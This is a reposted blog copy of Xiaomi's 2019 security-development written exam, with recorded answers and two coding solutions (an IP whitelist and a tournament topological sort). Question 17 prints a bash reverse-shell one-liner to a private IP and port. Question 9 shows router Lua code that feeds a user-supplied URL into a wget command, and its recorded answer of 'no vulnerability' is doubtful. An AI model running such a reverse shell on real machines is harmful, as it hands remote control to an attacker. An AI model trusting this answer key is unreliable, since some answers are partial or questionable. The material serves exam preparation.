小米2019秋招安全开发笔试题(A)

1、关于数字签名说法错误的是

  • 确定消息确实是由发送方签名并发出来的
  • 数字签名能确定消息的完整性
  • 私钥用于签名,公钥用于验证

2、CORS的作用是?

  • 允许客户端获取服务器的返回数据

3、下面关于AJAX说法正确的是?

  • AJAX可以完成数据的跨域

错误的是:

  • AJAX可以给不同域发送数据
  • AJAX可以获取不同域的数据
  • AJAX使用了同步技术

4、MD5是?

  • 哈希算法

5、在linux中,将文件属性设置为所有者只读,其余无任何权限的命令为(假设文件名为myfile)

  • chmod 400 myfile

6、以下哪个方法不能实现对系统网络外连行为的监控

  • 查看/var/log/lastlog记录

可以尝试的方法:

  • 使用hook技术替换c库函数connect
  • 使用auitd监控connect系统调用

7、在linux文件系统权限中(rwx),只读权限对应的数值为

  • 4

补充:

  • 第一个符号代表文件的类型
    • 如果是一个普通文件为"-",
    • 如果是一个目录为"d",
    • 如果是一个软连接为"l"
    • 如果是一个字符设备为"c"
    • 如果是一个块文件为"b"
  • 第一组表示文件所有者拥有的的权限
    • "x"表示该文件拥有执行的权限
    • "r"表示该文件拥有读取的权限
    • "w"表示该文件拥有修改的权限
    • “-” 表示暂时还没有其他权限
  • 第二组表示该文件所在组的用户拥有的权限
  • 第三组表示其他组的用户所拥有的权限
  • "rwx"权限还可以使用数字来表示为:r=4,w=2,x=1,所以rwx=4+2+1=7

8、升级包

设备升级过程中使用了 curl https://ota.a.com/update.bin -k -o /tmp/update.bin 命令获取升级包,下列说法正确的是?

  • 升级包忽略了证书校验,会造成中间人攻击

9、下面这段代码会造成什么问题?

function upgradeRom()
    local XQFunction = require("xiaoqiang.common.XQFunction")
    local XQSysUtil = require("xiaoqiang.util.XQSysUtil")
    local url = LuciHttp.formvalue("url")
    url = url:gsub("'", "")
    if url
        XQFunction.forkExec(string.format("wget '%s'", url))
    else
        XQFunction.forkExec("/usr/sbin/crontab_rom.sh")
    end
end
  • 没有任何漏洞

10、Linux的可执行文件开头的特征字符串是什么

  • ELF

11、下说法错误的是

  • RSA和DSA的功能一样,只是不同的算法
  • Hash是可逆的,Hash一般会导致信息熵减小

12、cookie的基础属性有哪些?

  • Domain
  • path
  • httponly
  • secure
  • expires

13、下面有那些技术是在https应用到的?

  • 对称加密
  • 非对称加密
  • 密钥交换
  • 哈希算法

14、使用下面那种方式可以产生跨域攻击?

  • CORS
  • windows.name
  • windows.postMessage

15、以下哪些方式被认为是DDOS攻击

  • ICMP Flood
  • SYNFlood
  • DNSQuery Flood
  • UDPFlood

16、关于SYNFlood攻击,以下说法正确的是

  • 此种方式不需要建立完整的TCP三次握手
  • 此种攻击方式是客户端主动发起的SYN半连接引起的

17、关于这条命令,说法正确的是

bash -i >& /dev/tcp/192.168.1.2/8080 0>&1
  • 通过在192.168.1.2上监听8080,可以远程操作运行了此命令的机器
  • 这是一个反弹shell

18、下面哪些命令和工具对 firmware 分析有帮助?

  • binwalk
  • file
  • firmware-mod-kit

19、哪些是常用的逆向分析工具

  • gdb
  • IDA
  • ollydbg

20、以下哪些属于缓冲区溢出保护机制?

  • PIE
  • NX
  • STACK CANARY

21、编程题

我们的小齐同学是一名很辛苦的实习DBA,他每天的工作就是为一个帐号添加授权,今天给这200个ipv4添加授权,明天又要把这200个授权删掉,有一天小齐同学在删除授权的时候不小心把所有的授权都删了,被领导很批了一顿。痛定思痛,小齐同学开始反思他每天的工作,发现无非就是我每天要让那些ip访问数据库而已,他决定写一个效率很高的ip白名单,请帮小齐同学说一下实现思路,并用结构化编程语言(c/c++/python/golang/java等)写一个ip白名单吧,他需要这个白名单有添加ip的功能,删除ip的功能,查找这个ip在不在白名单中,以及打印白名单中的内容,以上四个功能中查找ip是否在白名单中效率一定要高。并帮小齐分析一下各个功能的时间复杂度,写的好小齐同学会请你吃饭哦

import java.util.HashSet;
import java.util.Scanner;
 
public class Main {
    
    
    public static void main(String[] args) {
    
    
        Scanner scanner = new Scanner(System.in);
        HashSet<String> set = new HashSet<>();
        while (!scanner.hasNext("end")) {
    
    
            String command = scanner.next();
            char c = command.charAt(0);
            String ip = command.substring(2);
            switch (c) {
    
    
                case 'i':
                    set.add(ip);
                    System.out.println("ok");
                    break;
                case 'd':
                    set.remove(ip);
                    System.out.println("ok");
                    break;
                case 's':
                    System.out.println(set.contains(ip));
                    break;
            }
        }
    }
}

有N个比赛队(1<=N<=500),编号依次为1,2,3,。。。。,N进行比赛,比赛结束后,裁判委员会要将所有参赛队伍从前往后依次排名,但现在裁判委员会不能直接获得每个队的比赛成绩,只知道每场比赛的结果,即P1赢P2,用P1,P2表示,排名时P1在P2之前。现在请你编程序确定排名。

#include <bits/stdc++.h>
using namespace std;
int main(){
    
    
    int n,m;
    while(cin>>n>>m){
    
    
        vector<int> Edge[n+1];
        int inDegree[n+1];
        memset(inDegree,0,sizeof(inDegree));
        for(int i=0;i<m;i++){
    
    
            int a,b;
            cin>>a>>b;
            Edge[a].push_back(b);
            inDegree[b]++;
        }
        priority_queue<int, vector<int>, greater<int>> Q;
        for(int i=1;i<=n;i++)
            if(inDegree[i]==0)
                Q.push(i);
 
        int cnt = 1;
        while(!Q.empty()){
    
    
            int u = Q.top();
            Q.pop();
            if(cnt==n)
                cout<<u<<endl;
            else
                cout<<u<<" ";
            cnt++;
            for(int i=0;i<Edge[u].size();i++){
    
    
                int v = Edge[u][i];
                inDegree[v]--;
                if(inDegree[v]==0)
                    Q.push(v);
            }
        }
    }
    return 0;
}

猜你喜欢

转载自blog.csdn.net/kelxLZ/article/details/111881625